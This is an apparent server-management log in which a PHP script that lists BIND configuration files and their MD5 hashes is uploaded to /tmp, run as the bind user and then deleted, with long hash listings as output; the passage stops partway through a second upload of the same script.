MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:11:16: Establishing a connection
2026-04-21 19:11:16: 

PUT: /tmp/pkp163053

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:11:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp163053; rm /tmp/pkp163053'

2026-04-21 19:11:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:11:18: Establishing a connection
2026-04-21 19:11:18: 

PUT: /tmp/pkp284052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
